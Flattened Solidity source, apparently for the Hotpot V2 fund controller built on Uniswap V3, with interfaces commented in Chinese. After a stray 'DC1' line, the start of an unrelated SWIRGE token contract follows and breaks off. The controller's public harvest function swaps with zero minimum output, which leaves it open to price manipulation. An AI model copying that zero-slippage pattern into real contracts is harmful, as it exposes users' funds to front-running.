The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // File: @uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // File: @uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // File: @uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @uniswap/v3-periphery/contracts/libraries/TransferHelper.sol library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Approves the stipulated contract to spend the given allowance in the given token /// @dev Errors with 'SA' if transfer fails /// @param token The contract address of the token to be approved /// @param to The target of the approval /// @param value The amount of the given token the target will be allowed to spend function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // File: @uniswap/v3-periphery/contracts/libraries/BytesLib.sol /* * @title Solidity Bytes Arrays Utils * @author Gonçalo Sá <[email protected]> * * @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity. * The library lets you concatenate, slice and type cast bytes arrays both in memory and storage. */ library BytesLib { function slice( bytes memory _bytes, uint256 _start, uint256 _length ) internal pure returns (bytes memory) { require(_length + 31 >= _length, 'slice_overflow'); require(_start + _length >= _start, 'slice_overflow'); require(_bytes.length >= _start + _length, 'slice_outOfBounds'); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) //zero out the 32 bytes slice we are about to return //we need to do it because Solidity does not garbage collect mstore(tempBytes, 0) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) { require(_start + 20 >= _start, 'toAddress_overflow'); require(_bytes.length >= _start + 20, 'toAddress_outOfBounds'); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) { require(_start + 3 >= _start, 'toUint24_overflow'); require(_bytes.length >= _start + 3, 'toUint24_outOfBounds'); uint24 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x3), _start)) } return tempUint; } } // File: @uniswap/v3-periphery/contracts/libraries/Path.sol /// @title Functions for manipulating path data for multihop swaps library Path { using BytesLib for bytes; /// @dev The length of the bytes encoded address uint256 private constant ADDR_SIZE = 20; /// @dev The length of the bytes encoded fee uint256 private constant FEE_SIZE = 3; /// @dev The offset of a single token address and pool fee uint256 private constant NEXT_OFFSET = ADDR_SIZE + FEE_SIZE; /// @dev The offset of an encoded pool key uint256 private constant POP_OFFSET = NEXT_OFFSET + ADDR_SIZE; /// @dev The minimum length of an encoding that contains 2 or more pools uint256 private constant MULTIPLE_POOLS_MIN_LENGTH = POP_OFFSET + NEXT_OFFSET; /// @notice Returns true iff the path contains two or more pools /// @param path The encoded swap path /// @return True if path contains two or more pools, otherwise false function hasMultiplePools(bytes memory path) internal pure returns (bool) { return path.length >= MULTIPLE_POOLS_MIN_LENGTH; } /// @notice Decodes the first pool in path /// @param path The bytes encoded swap path /// @return tokenA The first token of the given pool /// @return tokenB The second token of the given pool /// @return fee The fee level of the pool function decodeFirstPool(bytes memory path) internal pure returns ( address tokenA, address tokenB, uint24 fee ) { tokenA = path.toAddress(0); fee = path.toUint24(ADDR_SIZE); tokenB = path.toAddress(NEXT_OFFSET); } /// @notice Gets the segment corresponding to the first pool in the path /// @param path The bytes encoded swap path /// @return The segment containing all data necessary to target the first pool in the path function getFirstPool(bytes memory path) internal pure returns (bytes memory) { return path.slice(0, POP_OFFSET); } /// @notice Skips a token + fee element from the buffer and returns the remainder /// @param path The swap path /// @return The remaining token + fee elements in the path function skipToken(bytes memory path) internal pure returns (bytes memory) { return path.slice(NEXT_OFFSET, path.length - NEXT_OFFSET); } } // File: contracts/interfaces/IHotPotV2FundERC20.sol /// @title Hotpot V2 基金份额代币接口定义 interface IHotPotV2FundERC20 is IERC20{ function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // File: contracts/interfaces/fund/IHotPotV2FundEvents.sol /// @title Hotpot V2 事件接口定义 interface IHotPotV2FundEvents { /// @notice 当存入基金token时,会触发该事件 event Deposit(address indexed owner, uint amount, uint share); /// @notice 当取走基金token时,会触发该事件 event Withdraw(address indexed owner, uint amount, uint share); } // File: contracts/interfaces/fund/IHotPotV2FundState.sol /// @title Hotpot V2 状态变量及只读函数 interface IHotPotV2FundState { /// @notice 控制器合约地址 function controller() external view returns (address); /// @notice 基金经理地址 function manager() external view returns (address); /// @notice 基金本币地址 function token() external view returns (address); /// @notice 8 bytes 基金经理 + 24 bytes 简要描述 function descriptor() external view returns (bytes32); /// @notice 总投入数量 function totalInvestment() external view returns (uint); /// @notice owner的投入数量 /// @param owner 用户地址 /// @return 投入本币的数量 function investmentOf(address owner) external view returns (uint); /// @notice 指定头寸的资产数量 /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @return 以本币计价的头寸资产数量 function assetsOfPosition(uint poolIndex, uint positionIndex) external view returns(uint); /// @notice 指定pool的资产数量 /// @param poolIndex 池子索引号 /// @return 以本币计价的池子资产数量 function assetsOfPool(uint poolIndex) external view returns(uint); /// @notice 总资产数量 /// @return 以本币计价的总资产数量 function totalAssets() external view returns (uint); /// @notice 基金本币->目标代币 的购买路径 /// @param _token 目标代币地址 /// @return 符合uniswap v3格式的目标代币购买路径 function buyPath(address _token) external view returns (bytes memory); /// @notice 目标代币->基金本币 的购买路径 /// @param _token 目标代币地址 /// @return 符合uniswap v3格式的目标代币销售路径 function sellPath(address _token) external view returns (bytes memory); /// @notice 获取池子地址 /// @param index 池子索引号 /// @return 池子地址 function pools(uint index) external view returns(address); /// @notice 头寸信息 /// @dev 由于基金需要遍历头寸,所以用二维动态数组存储头寸 /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @return isEmpty 是否空头寸,tickLower 价格刻度下届,tickUpper 价格刻度上届 function positions(uint poolIndex, uint positionIndex) external view returns( bool isEmpty, int24 tickLower, int24 tickUpper ); /// @notice pool数组长度 function poolsLength() external view returns(uint); /// @notice 指定池子的头寸数组长度 /// @param poolIndex 池子索引号 /// @return 头寸数组长度 function positionsLength(uint poolIndex) external view returns(uint); } // File: contracts/interfaces/fund/IHotPotV2FundUserActions.sol /// @title Hotpot V2 用户操作接口定义 /// @notice 存入(deposit)函数适用于ERC20基金; 如果是ETH基金(内部会转换为WETH9),应直接向基金合约转账; interface IHotPotV2FundUserActions { /// @notice 用户存入基金本币 /// @param amount 存入数量 /// @return share 用户获得的基金份额 function deposit(uint amount) external returns(uint share); /// @notice 用户取出指定份额的本币 /// @param share 取出的基金份额数量 /// @return amount 返回本币数量 function withdraw(uint share) external returns(uint amount); } // File: contracts/interfaces/fund/IHotPotV2FundManagerActions.sol /// @notice 基金经理操作接口定义 interface IHotPotV2FundManagerActions { /// @notice 设置代币交易路径 /// @dev This function can only be called by controller /// @dev 设置路径时不能修改为0地址,且path路径里的token必须验证是否受信任 /// @param distToken 目标代币地址 /// @param buy 购买路径(本币->distToken) /// @param sell 销售路径(distToken->本币) function setPath( address distToken, bytes memory buy, bytes memory sell ) external; /// @notice 初始化头寸, 允许投资额为0. /// @dev This function can only be called by controller /// @param token0 token0 地址 /// @param token1 token1 地址 /// @param fee 手续费率 /// @param tickLower 价格刻度下届 /// @param tickUpper 价格刻度上届 /// @param amount 初始化投入金额,允许为0, 为0表示仅初始化头寸,不作实质性投资 function init( address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint amount ) external; /// @notice 投资指定头寸,可选复投手续费 /// @dev This function can only be called by controller /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @param amount 投资金额 /// @param collect 是否收集已产生的手续费并复投 function add( uint poolIndex, uint positionIndex, uint amount, bool collect ) external; /// @notice 撤资指定头寸 /// @dev This function can only be called by controller /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @param proportionX128 撤资比例,左移128位; 允许为0,为0表示只收集手续费 function sub( uint poolIndex, uint positionIndex, uint proportionX128 ) external; /// @notice 调整头寸投资 /// @dev This function can only be called by controller /// @param poolIndex 池子索引号 /// @param subIndex 要移除的头寸索引号 /// @param addIndex 要添加的头寸索引号 /// @param proportionX128 调整比例,左移128位 function move( uint poolIndex, uint subIndex, uint addIndex, uint proportionX128 //以前是按LP数量移除,现在改成按总比例移除,这样前端就不用管实际LP是多少了 ) external; } // File: contracts/interfaces/IHotPotV2Fund.sol /// @title Hotpot V2 基金接口 /// @notice 接口定义分散在多个接口文件 interface IHotPotV2Fund is IHotPotV2FundERC20, IHotPotV2FundEvents, IHotPotV2FundState, IHotPotV2FundUserActions, IHotPotV2FundManagerActions { } // File: contracts/interfaces/IHotPot.sol /// @title HPT (Hotpot Funds) 代币接口定义. interface IHotPot is IERC20{ function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function burn(uint value) external returns (bool) ; function burnFrom(address from, uint value) external returns (bool); } // File: contracts/interfaces/controller/IManagerActions.sol /// @title 控制器合约基金经理操作接口定义 interface IManagerActions { /// @notice 设置代币交易路径 /// @dev This function can only be called by manager /// @dev 设置路径时不能修改为0地址,且path路径里的token必须验证是否受信任 /// @param fund 基金地址 /// @param distToken 目标代币地址 /// @param path 符合uniswap v3格式的交易路径 function setPath( address fund, address distToken, bytes memory path ) external; /// @notice 初始化头寸, 允许投资额为0. /// @dev This function can only be called by manager /// @param fund 基金地址 /// @param token0 token0 地址 /// @param token1 token1 地址 /// @param fee 手续费率 /// @param tickLower 价格刻度下届 /// @param tickUpper 价格刻度上届 /// @param amount 初始化投入金额,允许为0, 为0表示仅初始化头寸,不作实质性投资 function init( address fund, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint amount ) external; /// @notice 投资指定头寸,可选复投手续费 /// @dev This function can only be called by manager /// @param fund 基金地址 /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @param amount 投资金额 /// @param collect 是否收集已产生的手续费并复投 function add( address fund, uint poolIndex, uint positionIndex, uint amount, bool collect ) external; /// @notice 撤资指定头寸 /// @dev This function can only be called by manager /// @param fund 基金地址 /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @param proportionX128 撤资比例,左移128位; 允许为0,为0表示只收集手续费 function sub( address fund, uint poolIndex, uint positionIndex, uint proportionX128 ) external; /// @notice 调整头寸投资 /// @dev This function can only be called by manager /// @param fund 基金地址 /// @param poolIndex 池子索引号 /// @param subIndex 要移除的头寸索引号 /// @param addIndex 要添加的头寸索引号 /// @param proportionX128 调整比例,左移128位 function move( address fund, uint poolIndex, uint subIndex, uint addIndex, uint proportionX128 ) external; } // File: contracts/interfaces/controller/IGovernanceActions.sol /// @title 治理操作接口定义 interface IGovernanceActions { /// @notice Change governance /// @dev This function can only be called by governance /// @param account 新的governance地址 function setGovernance(address account) external; /// @notice Set the token to be verified for all fund, vice versa /// @dev This function can only be called by governance /// @param token 目标代币 /// @param isVerified 是否受信任 function setVerifiedToken(address token, bool isVerified) external; /// @notice Set the swap path for harvest /// @dev This function can only be called by governance /// @param token 目标代币 /// @param path 路径 function setHarvestPath(address token, bytes memory path) external; } // File: contracts/interfaces/controller/IControllerState.sol /// @title HotPotV2Controller 状态变量及只读函数 interface IControllerState { /// @notice Returns the address of the Uniswap V3 router function uniV3Router() external view returns (address); /// @notice Returns the address of the Uniswap V3 facotry function uniV3Factory() external view returns (address); /// @notice 本项目治理代币HPT的地址 function hotpot() external view returns (address); /// @notice 治理账户地址 function governance() external view returns (address); /// @notice Returns the address of WETH9 function WETH9() external view returns (address); /// @notice 代币是否受信任 /// @dev The call will revert if the the token argument is address 0. /// @param token 要查询的代币地址 function verifiedToken(address token) external view returns (bool); /// @notice harvest时交易路径 /// @param token 要兑换的代币 function harvestPath(address token) external view returns (bytes memory); } // File: contracts/interfaces/controller/IControllerEvents.sol /// @title HotPotV2Controller 事件接口定义 interface IControllerEvents { /// @notice 当设置受信任token时触发 event ChangeVerifiedToken(address indexed token, bool isVerified); /// @notice 当调用Harvest时触发 event Harvest(address indexed token, uint amount, uint burned); /// @notice 当调用setHarvestPath时触发 event SetHarvestPath(address indexed token, bytes path); /// @notice 当调用setGovernance时触发 event SetGovernance(address indexed account); /// @notice 当调用setPath时触发 event SetPath(address indexed fund, address indexed distToken, bytes path); } // File: contracts/interfaces/IHotPotV2FundController.sol /// @title Hotpot V2 控制合约接口定义. /// @notice 基金经理和治理均需通过控制合约进行操作. interface IHotPotV2FundController is IManagerActions, IGovernanceActions, IControllerState, IControllerEvents { /// @notice 基金分成全部用于销毁HPT /// @dev 任何人都可以调用本函数 /// @param token 用于销毁时购买HPT的代币类型 /// @param amount 代币数量 /// @return burned 销毁数量 function harvest(address token, uint amount) external returns(uint burned); } // File: contracts/interfaces/IMulticall.sol /// @title Multicall /// @notice Enables calling multiple methods in a single call to the contract interface IMulticall { /// @notice Call multiple functions in the current contract and return the data from all of them if they all succeed /// @param data The encoded function data for each of the calls to make to this contract /// @return results The results from each of the calls passed in via data /// @dev The `msg.value` should not be trusted for any method callable from multicall. function multicall(bytes[] calldata data) external payable returns (bytes[] memory results); } // File: contracts/base/Multicall.sol /// @title Multicall /// @notice Enables calling multiple methods in a single call to the contract abstract contract Multicall is IMulticall { /// @inheritdoc IMulticall function multicall(bytes[] calldata data) external payable override returns (bytes[] memory results) { results = new bytes[](data.length); for (uint256 i = 0; i < data.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(data[i]); if (!success) { // Next 5 lines from https://ethereum.stackexchange.com/a/83577 if (result.length < 68) revert(); assembly { result := add(result, 0x04) } revert(abi.decode(result, (string))); } results[i] = result; } } } // File: contracts/HotPotV2FundController.sol // SPDX-License-Identifier: BUSL-1.1 contract HotPotV2FundController is IHotPotV2FundController, Multicall { using Path for bytes; address public override immutable uniV3Factory; address public override immutable uniV3Router; address public override immutable hotpot; address public override governance; address public override immutable WETH9; mapping (address => bool) public override verifiedToken; mapping (address => bytes) public override harvestPath; modifier onlyManager(address fund){ require(msg.sender == IHotPotV2Fund(fund).manager(), "OMC"); _; } modifier onlyGovernance{ require(msg.sender == governance, "OGC"); _; } constructor( address _hotpot, address _governance, address _uniV3Router, address _uniV3Factory, address _weth9 ) { hotpot = _hotpot; governance = _governance; uniV3Router = _uniV3Router; uniV3Factory = _uniV3Factory; WETH9 = _weth9; } /// @inheritdoc IGovernanceActions function setHarvestPath(address token, bytes memory path) external override onlyGovernance { bytes memory _path = path; (address tokenIn, address tokenOut, uint24 fee) = path.decodeFirstPool(); while (true) { // pool is exist require(IUniswapV3Factory(uniV3Factory).getPool(tokenIn, tokenOut, fee) != address(0), "PIE"); if (path.hasMultiplePools()) { path = path.skipToken(); (tokenIn, tokenOut, fee) = path.decodeFirstPool(); } else { //最后一个交易对:输入WETH9, 输出hotpot require(tokenIn == WETH9 && tokenOut == hotpot, "IOT"); break; } } harvestPath[token] = _path; emit SetHarvestPath(token, _path); } /// @inheritdoc IHotPotV2FundController function harvest(address token, uint amount) external override returns(uint burned) { uint value = amount <= IERC20(token).balanceOf(address(this)) ? amount : IERC20(token).balanceOf(address(this)); TransferHelper.safeApprove(token, uniV3Router, value); ISwapRouter.ExactInputParams memory args = ISwapRouter.ExactInputParams({ path: harvestPath[token], recipient: address(this), deadline: block.timestamp, amountIn: value, amountOutMinimum: 0 }); burned = ISwapRouter(uniV3Router).exactInput(args); IHotPot(hotpot).burn(burned); emit Harvest(token, amount, burned); } /// @inheritdoc IGovernanceActions function setGovernance(address account) external override onlyGovernance { require(account != address(0)); governance = account; emit SetGovernance(account); } /// @inheritdoc IGovernanceActions function setVerifiedToken(address token, bool isVerified) external override onlyGovernance { verifiedToken[token] = isVerified; emit ChangeVerifiedToken(token, isVerified); } /// @inheritdoc IManagerActions function setPath( address fund, address distToken, bytes memory path ) external override onlyManager(fund){ require(verifiedToken[distToken]); address fundToken = IHotPotV2Fund(fund).token(); bytes memory _path = path; bytes memory _reverse; (address tokenIn, address tokenOut, uint24 fee) = path.decodeFirstPool(); _reverse = abi.encodePacked(tokenOut, fee, tokenIn); bool isBuy; // 第一个tokenIn是基金token,那么就是buy路径 if(tokenIn == fundToken){ isBuy = true; } // 如果是sellPath, 第一个需要是目标代币 else{ require(tokenIn == distToken); } while (true) { require(verifiedToken[tokenIn], "VIT"); require(verifiedToken[tokenOut], "VOT"); // pool is exist address pool = IUniswapV3Factory(uniV3Factory).getPool(tokenIn, tokenOut, fee); require(pool != address(0), "PIE"); // at least 2 observations (,,,uint16 observationCardinality,,,) = IUniswapV3Pool(pool).slot0(); require(observationCardinality >= 2, "OC"); if (path.hasMultiplePools()) { path = path.skipToken(); (tokenIn, tokenOut, fee) = path.decodeFirstPool(); _reverse = abi.encodePacked(tokenOut, fee, _reverse); } else { /// @dev 如果是buy, 最后一个token要是目标代币; /// @dev 如果是sell, 最后一个token要是基金token. if(isBuy) require(tokenOut == distToken, "OID"); else require(tokenOut == fundToken, "OIF"); break; } } emit SetPath(fund, distToken, _path); if(!isBuy) (_path, _reverse) = (_reverse, _path); IHotPotV2Fund(fund).setPath(distToken, _path, _reverse); } /// @inheritdoc IManagerActions function init( address fund, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint amount ) external override onlyManager(fund){ IHotPotV2Fund(fund).init(token0, token1, fee, tickLower, tickUpper, amount); } /// @inheritdoc IManagerActions function add( address fund, uint poolIndex, uint positionIndex, uint amount, bool collect ) external override onlyManager(fund){ IHotPotV2Fund(fund).add(poolIndex, positionIndex, amount, collect); } /// @inheritdoc IManagerActions function sub( address fund, uint poolIndex, uint positionIndex, uint proportionX128 ) external override onlyManager(fund){ IHotPotV2Fund(fund).sub(poolIndex, positionIndex, proportionX128); } /// @inheritdoc IManagerActions function move( address fund, uint poolIndex, uint subIndex, uint addIndex, uint proportionX128 ) external override onlyManager(fund){ IHotPotV2Fund(fund).move(poolIndex, subIndex, addIndex, proportionX128); } }
DC1
/** *Submitted for verification at Etherscan.io on 2020-10-17 * * * /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$$ * /$$__ $$| $$ /$ | $$|_ $$_/| $$__ $$ /$$__ $$| $$_____/ * | $$ \__/| $$ /$$$| $$ | $$ | $$ \ $$| $$ \__/| $$ * | $$$$$$ | $$/$$ $$ $$ | $$ | $$$$$$$/| $$ /$$$$| $$$$$ * \____ $$| $$$$_ $$$$ | $$ | $$__ $$| $$|_ $$| $$__/ * /$$ \ $$| $$$/ \ $$$ | $$ | $$ \ $$| $$ \ $$| $$ * | $$$$$$/| $$/ \ $$ /$$$$$$| $$ | $$| $$$$$$/| $$$$$$$$ * \______/ |__/ \__/|______/|__/ |__/ \______/ |________/ * * * web: swirgepay.com * Total supply: 80.000.000 SWIRGE * Uniswap supply (40% of total supply): 32.000.000 SWIRGE * */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view 